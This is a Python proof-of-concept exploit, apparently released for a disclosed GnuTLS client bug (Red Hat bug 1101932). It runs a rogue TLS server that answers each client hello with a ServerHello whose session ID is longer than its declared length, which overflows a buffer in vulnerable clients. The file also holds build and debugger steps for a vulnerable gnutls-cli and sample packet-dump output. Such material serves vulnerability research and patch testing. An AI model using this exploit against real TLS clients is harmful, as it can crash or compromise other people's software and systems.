#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : tintinweb@oststrom.com <github.com/tintinweb>
#
# ref: https://bugzilla.redhat.com/show_bug.cgi?id=1101932
#
"""
    # wget http://www.lysator.liu.se/~nisse/archive/nettle-2.5.tar.gz
    # tar xvfz nettle-2.5.tar.gz
    # cd nettle-2.5/
    # aptitude install libgmp-dev
    # ./configure --enable-shared --prefix=/usr
    # make
    # make install
    # cd ../gnutls-3.1.24/
    # ./configure --with-libnettle-prefix=/usr
    # make
    # gdb --args ./src/.libs/lt-gnutls-cli-debug 192.168.139.1

[!] new client ('127.0.0.1', 65232) connected!
###[ SSL/TLS ]###
  \records   \
   |###[ TLS Record ]###
   |  content_type= handshake
   |  version   = TLS_1_0
   |  length    = 0xb2
   |###[ TLS Handshake ]###
   |     type      = client_hello
   |     length    = 0xae
   |###[ TLS Client Hello ]###
   |        version   = TLS_1_2
   |        gmt_unix_time= 839422725
   |        random_bytes= "*\xbfP\x81-\xdf(\x8a'X\xbe#%#\x89uk\xd3\x08Z\xda\xe3d\x05\x0eL\xab\xdb"
   |        session_id_length= 0x0
   |        session_id= ''
   |        cipher_suites_length= 0x16
   |        cipher_suites= ['ECDHE_ECDSA_WITH_AES_128_GCM_SHA256', 'ECDHE_RSA_WITH_AES_128_GCM_SHA256', 'ECDHE_ECDSA_WITH_AES_256_CBC_SHA', 'ECDHE_ECDSA_WITH_AES_128_CBC_SHA', 'ECDHE_RSA_WITH_AES_128_CBC_SHA', 'ECDHE_RSA_WITH_AES_256_CBC_SHA', 'DHE_RSA_WITH_AES_128_CBC_SHA', 'DHE_RSA_WITH_AES_256_CBC_SHA', 'RSA_WITH_AES_128_CBC_SHA', 'RSA_WITH_AES_256_CBC_SHA', 'RSA_WITH_3DES_EDE_CBC_SHA']
   |        compression_methods_length= 0x1
   |        compression_methods= ['NULL']
   |        extensions_length= 0x6f
   |        \extensions\
   |         |###[ TLS Extension ]###
   |         |  type      = server_name
   |         |  length    = 0xe
   |         |###[ TLS Extension Servername Indication ]###
   |         |     length    = 0xc
   |         |     \server_names\
   |         |      |###[ TLS Servername ]###
   |         |      |  type      = host
   |         |      |  length    = 0x9
   |         |      |  data      = 'localhost'
   |         |###[ TLS Extension ]###
   |         |  type      = renegotiation_info
   |         |  length    = 0x1
   |         |###[ TLS Extension Renegotiation Info ]###
   |         |     length    = 0x0
   |         |     data      = ''
   |         |###[ TLS Extension ]###
   |         |  type      = supported_groups
   |         |  length    = 0x8
   |         |###[ TLS Extension Elliptic Curves ]###
   |         |     length    = 0x6
   |         |     elliptic_curves= ['secp256r1', 'secp384r1', 'secp521r1']
   |         |###[ TLS Extension ]###
   |         |  type      = ec_point_formats
   |         |  length    = 0x2
   |         |###[ TLS Extension EC Points Format ]###
   |         |     length    = 0x1
   |         |     ec_point_formats= ['uncompressed']
   |         |###[ TLS Extension ]###
   |         |  type      = SessionTicket_TLS
   |         |  length    = 0x0
   |         |###[ TLS Extension ]###
   |         |  type      = next_protocol_negotiation
   |         |  length    = 0x0
   |         |###[ TLS Extension ]###
   |         |  type      = application_layer_protocol_negotiation
   |         |  length    = 0x17
   |         |###[ TLS Extension Application-Layer Protocol Negotiation ]###
   |         |     length    = 0x15
   |         |     \protocol_name_list\
   |         |      |###[ TLS ALPN Protocol ]###
   |         |      |  length    = 0x2
   |         |      |  data      = 'h2'
   |         |      |###[ TLS ALPN Protocol ]###
   |         |      |  length    = 0x8
   |         |      |  data      = 'spdy/3.1'
   |         |      |###[ TLS ALPN Protocol ]###
   |         |      |  length    = 0x8
   |         |      |  data      = 'http/1.1'
   |         |###[ TLS Extension ]###
   |         |  type      = status_request
   |         |  length    = 0x5
   |         |###[ Raw ]###
   |         |     load      = '\x01\x00\x00\x00\x00'
   |         |###[ TLS Extension ]###
   |         |  type      = signature_algorithms
   |         |  length    = 0x16
   |         |###[ TLS Extension Signature And Hash Algorithm ]###
   |         |     length    = 0x14
   |         |     \algs\
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha256
   |         |      |  sig_alg= rsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha384
   |         |      |  sig_alg= rsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha512
   |         |      |  sig_alg= rsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha1
   |         |      |  sig_alg= rsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha256
   |         |      |  sig_alg= ecdsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha384
   |         |      |  sig_alg= ecdsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha512
   |         |      |  sig_alg= ecdsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha1
   |         |      |  sig_alg= ecdsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha256
   |         |      |  sig_alg= dsa
   |         |      |###[ TLS Signature Hash Algorithm Pair ]###
   |         |      |  hash_alg= sha1
   |         |      |  sig_alg= dsa
[*] received TLSClientHello, sending malicious server hello (announcing sessid_len=100, sending 250 bytes)
###[ TLS Record ]###
  content_type= handshake
  version   = TLS_1_2
  length    = None
###[ TLS Handshake ]###
     type      = server_hello
     length    = None
###[ TLS Server Hello ]###
        version   = TLS_1_2
        gmt_unix_time= 1453853279
        random_bytes= '\xac\xf97\xfe\xa8\xc6\xeb\xce\x07y\xb7+\x9aB\xd5^I\x87:\xc1\x0b\xb4\x03\xcf\x10K\xb0Y'
        session_id_length= 0x64
        session_id= '\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
        cipher_suite= RSA_WITH_AES_128_CBC_SHA
        compression_method= NULL
        \extensions\
"""

from __future__ import print_function
import sys
import socket

from scapy.all import conf, log_interactive

try:
    # This import works from the project directory
    from scapy_ssl_tls.ssl_tls import *
except ImportError:
    # If you installed this package via pip, you just need to execute this
    from scapy.layers.ssl_tls import *


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "0.0.0.0"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
    target = host, port
    iterations = int(sys.argv[3]) if len(sys.argv)>3 else 1

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print ("[ ] listening on %s ..." % repr(target))
    sock.bind(target)
    sock.listen(1)

    for i in xrange(iterations):
        client_sock, client_addr = sock.accept()
        print ("[!] new client %s connected!" % repr(client_addr))

        tlssock = TLSSocket(client_sock, client=False)

        p_client_hello = tlssock.recvall()
        p_client_hello.show()

        if not p_client_hello.haslayer(TLSClientHello):
            print ("[!] did not receive a TLSClientHello from client, disconnecting.")
            client_sock.close()
            continue
        print (
            "[*] received TLSClientHello, sending malicious server hello (announcing sessid_len=100, sending 250 bytes)")

        cipher = p_client_hello[TLSClientHello].cipher_suites[0] if TLSCipherSuite.RSA_WITH_AES_128_CBC_SHA not in p_client_hello[
            TLSClientHello].cipher_suites else TLSCipherSuite.RSA_WITH_AES_128_CBC_SHA

        p_server_hello = TLSRecord(version=p_client_hello[TLSClientHello].version) / \
                         TLSHandshakes(handshakes=[TLSHandshake() /
                                                   TLSServerHello(version=p_client_hello[TLSClientHello].version,
                                                                  compression_method=TLSCompressionMethod.NULL,
                                                                  cipher_suite=cipher,
                                                                  session_id_length=100,
                                                                  session_id='\xff' * 250,     # overflow
                                                                  )])

        p_server_hello.show()
        tlssock.sendall(p_server_hello)

if __name__ == "__main__":
    main()
